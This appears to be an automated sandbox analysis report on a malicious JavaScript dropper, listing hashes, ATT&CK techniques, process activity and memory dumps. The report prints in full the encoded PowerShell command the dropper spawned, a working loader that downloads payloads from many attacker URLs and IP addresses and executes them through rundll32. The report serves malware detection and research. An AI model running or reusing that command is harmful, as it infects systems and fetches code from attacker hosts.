3d55202b1a9776a7256b39a84998cb94072704c3734ed9be257ce06b7f8cfefd

General

Target

27yyOqu1o4QP.js
Size

341KB
MD5

f3a3cef7a1961d3bf53b2f37ac55d919
SHA1

5d01268e810a41ab81a2e64091e7e3608a52425b
SHA256

3d55202b1a9776a7256b39a84998cb94072704c3734ed9be257ce06b7f8cfefd
SHA512

930e5bb976b08c983be4e04bb6d7143548feaef5a298959fad78dee7c4e0fb4ed9c36f883a04cf76cb2bf83b4d3af377d03b44b59a12b3c952ff28a122c0ee76
SSDEEP

6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbOKfJbhS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/ygA

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
20	4488	powershell.exe
25	4488	powershell.exe
26	4488	powershell.exe
28	4488	powershell.exe
29	4488	powershell.exe
30	4488	powershell.exe
31	4488	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4488	powershell.exe
4488	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4488	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4028 wrote to memory of 4488	4028	wscript.exe	83
PID 4028 wrote to memory of 4488	4028	wscript.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\27yyOqu1o4QP.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABnAGUAcwBuAGUAcgBpAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAFEAQQBMAGcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE4AdwBBAHoAQQBDADQAQQBNAFEAQQAxAEEARABFAEEAdABBAHkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEASABJAEEAYgB3AEIAegBBAEcAVQBBAGIAZwBCAGoAQQBHAFUAQQBjAEEAQgBvAEEARwBFAEEAYgBBAEIAdgBBAEcANABBAEwAZwBCAHoAQQBHAEUAQQBZAFEAQgB5AEEARwB3AEEAWQBRAEIAdQBBAEcAUQBBAHQAQQB5AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADMAQQBDADQAQQBNAFEAQQAxAEEARABjAEEATABnAEEAMwBBAEQASQBBAEwAZwBBAHgAQQBEAE0AQQBNAHcAQQA9ACIAOwAkAGIAdQBzAHMAZQBkAEQAcgBlAGEAZABuAG8AdQBnAGgAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATgBBAEEAdQBBAEQARQBBAE0AdwBBADEAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAeABBAEQAZwBBAE4AQQBBAHYAQQBHADQAQQBUAFEAQQB2AEEARABRAEEAZAB3AEIAcwBBAEgAZwBBAEYAeQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAVQBBAGIAUQBCAHQAQQBHAEUAQQBjAGcAQgBwAEEASABvAEEAWQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBGAFEAQQBZAFEAQgB1AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAGMAdwBBAHUAQQBIAEkAQQBaAFEAQgBvAEEARwBFAEEAWQBnAEEAdgBBAEYASQBBAEwAdwBCAFoAQQBIAEkAQQBlAFEAQQA9AEYAeQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAQQBBAE8AQQBBAHUAQQBEAEUAQQBNAFEAQQA1AEEAQwA0AEEATQBRAEEAMQBBAEQAUQBBAEwAZwBBAHgAQQBEAEkAQQBPAEEAQQB2AEEARgBjAEEAWgBnAEIARwBBAEgAbwBBAFQAQQBBAHYAQQBGAEkAQQBGAHkAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFEAQQBaAFEAQgB1AEEARwBRAEEAWgBRAEIAeQBBAEcAZwBBAFoAUQBCAGgAQQBIAEkAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHYAQQBIAFUAQQBaAEEAQgBYAEEAQwA4AEEAVABnAEEAPQBGAHkAZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQA0AEEARABBAEEATAB3AEIAdQBBAEgAWQBBAFEAZwBCAEMAQQBIAEEAQQBWAHcAQgBaAEEAQwA4AEEAUwBRAEIATwBBAEQARQBBAFMAdwBCAHIAQQBFAEkAQQBhAFEAQgBuAEEARABZAEEAUwBRAEEAPQBGAHkAZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAGcAQQA1AEEAQwA4AEEAUgBBAEIANgBBAEcANABBAFcAQQBCADAAQQBDADgAQQBWAFEAQgAwAEEASABrAEEAVwBnAEIAbgBBAEYASQBBAGUAUQBBADMAQQBHAHcAQQBGAHkAZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB5AEEARABFAEEATgBRAEEAdgBBAEcASQBBAE0AZwBCAFcAQQBDADgAQQBWAEEAQgBVAEEARwBRAEEATQBnAEEAMQBBAEUAdwBBAFMAQQBBADAAQQBFAG8AQQBVAFEAQgBZAEEAQQA9AD0AIgA7ACQAcwBjAHIAdQBmAGYAbQBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBhAEEAQgBsAEEASABNAEEAZABBAEIAbABBAEgASQBBAFoAZwBCAHAAQQBHAFUAQQBiAEEAQgBrAEEARwBrAEEAWQBRAEIAdQBBAEUAWQBBAGMAZwBCAGgAQQBHADAAQQBaAFEAQgBoAEEARwBJAEEAYgBBAEIAbABBAEcANABBAFoAUQBCAHoAQQBIAE0AQQBMAGcAQgBpAEEARwBVAEEAWgBRAEIAeQBBAEEAPQA9ACIAOwAkAGsAYQByAHcAYQByACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABnAEEATABnAEEAeABBAEQAYwBBAE0AUQBBAHUAQQBEAEkAQQBOAEEAQQAzAEEAQwA0AEEATwBBAEEAMgBBAEEAPQA9AHQAUQBNAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE8AQQBBAHUAQQBEAEUAQQBOAHcAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQA9AHQAUQBNAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AUQBBAHoAQQBDADQAQQBOAFEAQQAxAEEAQwA0AEEATgBnAEEAdwBBAEMANABBAE0AUQBBADQAQQBEAGMAQQAiADsAJABDAG8AdQByAHQAbgBvAGwAbABTAHAAcgBvAHQAdABsAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBaAFEAQgB1AEEASABVAEEAYwBnAEIAcABBAEcAOABBAGQAUQBCAHoAQQBGAEEAQQBaAFEAQgB1AEEARwBnAEEAWgBRAEIAaABBAEcAUQBBAEwAZwBCAHQAQQBHAFUAQQBaAEEAQgBwAEEARwBFAEEAZwBVAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABFAEEATABnAEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBOAFEAQQA0AEEAQwA0AEEATQBnAEEAMABBAEQAUQBBAGcAVQBwAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE0AUQBBAHUAQQBEAEUAQQBNAFEAQQB6AEEAQwA0AEEATwBBAEEANABBAEMANABBAE0AZwBBAHcAQQBEAGcAQQBnAFUAcABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEQAQQBHADgAQQBjAGcAQgBsAEEARwA4AEEAYgBRAEIAbABBAEgAUQBBAFoAUQBCAHkAQQBFAE0AQQBhAEEAQgB5AEEASABrAEEAYwB3AEIAdgBBAEgAUQBBAGEAQQBCAGwAQQBIAEkAQQBZAFEAQgB3AEEASABrAEEATABnAEIAdwBBAEgASQBBAGIAdwBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAbQBpAHMAbABhAGIAZQBsAHMASABpAHMAdABvAHIAaQBvAGcAcgBhAHAAaAB5ACAAaQBuACAAJABiAHUAcwBzAGUAZABEAHIAZQBhAGQAbgBvAHUAZwBoAHQAcwAgAC0AcwBwAGwAaQB0ACAAIgBGAHkAZAAiACkAIAB7AHQAcgB5ACAAewAkAE0AZQBzAG8AcwBwAGgAZQByAGkAYwBSAGUAZwBlAGEAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATgBRAEEAdQBBAEQARQBBAE4AQQBBADUAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATABnAEEAeABBAEQAUQBBAE0AUQBBAD0AIgA7ACQARABpAGMAaABhAHMAaQBhAGwAUQB1AGkAcABzAHQAZQByAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBNAGcAQQB1AEEARABVAEEATgB3AEEAdQBBAEQARQBBAE4AUQBBAHoAQQBDADQAQQBNAGcAQQAwAEEARABnAEEAIgA7ACQAZABlAHUAdABvAHAAbABhAHMAbQBpAGMAUwB1AGIAdwBhAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFUAQQBiAEEAQgBsAEEARwBNAEEAZABBAEIAeQBBAEcAOABBAGMAdwBCADUAQQBHADQAQQBkAEEAQgBvAEEARwBVAEEAZABBAEIAcABBAEcATQBBAFkAUQBCAHMAQQBHAHcAQQBlAFEAQQB1AEEASABNAEEAZABRAEIAeQBBAEcAYwBBAFoAUQBCAHkAQQBIAGsAQQB1AEYASgBVAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGUAUQBCAGgAQQBHAHcAQQBhAFEAQgB1AEEARwBVAEEAUgB3AEIAdgBBAEgAQQBBAGEAQQBCAGwAQQBIAEkAQQBjAGcAQgB2AEEARwA4AEEAZABBAEEAdQBBAEcAdwBBAFkAdwBBAD0AdQBGAEoAVQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGsAQQBiAGcAQgB6AEEASABVAEEAYgBBAEIAcABBAEcANABBAFkAUQBCAHoAQQBHAFUAQQBMAGcAQgBxAEEASABBAEEAdQBGAEoAVQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAHcAQQAxAEEAQwA0AEEATQBRAEEANQBBAEQAYwBBAEwAZwBBADUAQQBEAFUAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAPQAiADsAJABvAHIAcABpAG4AYwBIAHUAbQBpAGQAaQB0AHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbQBpAHMAbABhAGIAZQBsAHMASABpAHMAdABvAHIAaQBvAGcAcgBhAHAAaAB5ACkAKQA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAbwByAHAAaQBuAGMASAB1AG0AaQBkAGkAdAB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAEQAaQBhAHQAbwBtAGkAbgBlAC4AZwBhAHcAawBpAGwAeQBNAGEAdABhAGcAYQBsAHAAYQA7ACQAdAByAGkAbwBuAHkAYwBoAG8AaQBkAGUAYQBjAGgAaQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBRAEEAYgB3AEIAdgBBAEgASQBBAGEAZwBCAGgAQQBHADAAQQBZAGcAQgB6AEEAQwA0AEEAWgBBAEIAbABBAEgATQBBAGEAUQBBAD0AZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBhAFEAQgBqAEEASABJAEEAYgB3AEIAegBBAEgAQQBBAGIAQQBCAGwAQQBHADQAQQBhAFEAQgBqAEEARQBjAEEAYwBnAEIAaABBAEgAawBBAGMAdwBCAGkAQQBIAGsAQQBMAGcAQgBtAEEARwAwAEEAZABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEUAQQBHAGsAQQBjAHcAQgBqAEEARwA4AEEAYgBnAEIAbQBBAEcAawBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAVABBAEcAOABBAGIAQQBCAGwAQQBHADQAQQBaAFEAQgAwAEEASABRAEEAWgBRAEEAdQBBAEcARQBBAGEAUQBBAD0AIgA7ACQAVQBuAHQAaQBtAG8AcgBvAHUAcwBPAGMAZQBhAG4AbwBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBVAEEAYgBnAEIAawBBAEcAVQBBAGMAZwBCAG0AQQBHAGsAQQBjAGcAQgBsAEEARQBNAEEAWQBRAEIAbQBBAEcAVQBBAGIAZwBCAGwAQQBIAFEAQQBMAGcAQgBsAEEASABVAEEAdwBnAGkAQgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQB3AEEAQwA0AEEATgB3AEEAeQBBAEMANABBAE0AUQBBAHoAQQBEAEEAQQBMAGcAQQA1AEEARABFAEEAdwBnAGkAQgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQB4AEEARABBAEEATgBBAEEAdQBBAEQARQBBAE4AQQBBADUAQQBDADQAQQBPAEEAQQB6AEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwARABpAGEAdABvAG0AaQBuAGUALgBnAGEAdwBrAGkAbAB5AE0AYQB0AGEAZwBhAGwAcABhACkALgBMAGUAbgBnAHQAaAAgAC0AZwBlACAAMgA4ADAAOAA1ADcAKQB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBRAHcAQQA2AEEARgB3AEEAVQBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFIAQQBCAHAAQQBHAEUAQQBkAEEAQgB2AEEARwAwAEEAYQBRAEIAdQBBAEcAVQBBAEwAZwBCAG4AQQBHAEUAQQBkAHcAQgByAEEARwBrAEEAYgBBAEIANQBBAEUAMABBAFkAUQBCADAAQQBHAEUAQQBaAHcAQgBoAEEARwB3AEEAYwBBAEIAaABBAEMAdwBBAGIAUQBCADEAQQBIAE0AQQBkAEEAQQA3AEEAQQA9AD0AIgA7ACQAVABvAHMAdABvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAFUAQQBiAGcAQgB3AEEARwBFAEEAZABBAEIAeQBBAEcAawBBAGIAdwBCADAAQQBHAGsAQQBjAHcAQgB0AEEARgBNAEEAZABBAEIAdgBBAEgATQBBAGMAdwBCADAAQQBHADgAQQBiAGcAQQB1AEEARwBNAEEAYgB3AEIAdABBAEEAPQA9AG4AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABBAEEATgB3AEEAdQBBAEQARQBBAE0AdwBBADIAQQBDADQAQQBNAGcAQQB3AEEARABNAEEATABnAEEAeABBAEQAUQBBAE0AQQBBAD0AIgA7ACQARgBsAGEAbgBlAHUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMgBBAEQASQBBAEwAZwBBADAAQQBEAGcAQQBMAGcAQQA1AEEARABnAEEATABnAEEAeABBAEQAWQBBAE4AZwBBAD0AIgA7ACQAUwB5AG4AZABlAHMAbQBvAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAMwBBAEMANABBAE4AdwBBAHkAQQBDADQAQQBNAFEAQQB5AEEARABVAEEATABnAEEAeABBAEQASQBBAE4AZwBBAD0AZAB6AHAAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAE0AQQBkAFEAQgBzAEEASABBAEEAYQBBAEIAdgBBAEcAYwBBAFoAUQBCAHkAQQBHADAAQQBZAFEAQgB1AEEARwBFAEEAZABBAEIAbABBAEUAUQBBAGIAdwBCADMAQQBHADQAQQBjAHcAQgBwAEEASABRAEEAZABBAEIAcABBAEcANABBAFoAdwBBAHUAQQBHAFkAQQBlAFEAQgBwAEEAQQA9AD0AZAB6AHAAawBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBPAEEAQQB1AEEARABJAEEATgBBAEEANQBBAEMANABBAE0AZwBBAHgAQQBEAEUAQQBMAGcAQQB5AEEARABRAEEATwBRAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fjswhvjx.2s2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4488-142-0x000001EDD9D70000-0x000001EDD9D92000-memory.dmp

Filesize
136KB

Download
memory/4488-143-0x000001EDD9340000-0x000001EDD9350000-memory.dmp

Filesize
64KB

Download
memory/4488-144-0x000001EDD9340000-0x000001EDD9350000-memory.dmp

Filesize
64KB

Download
memory/4488-145-0x000001EDD9340000-0x000001EDD9350000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing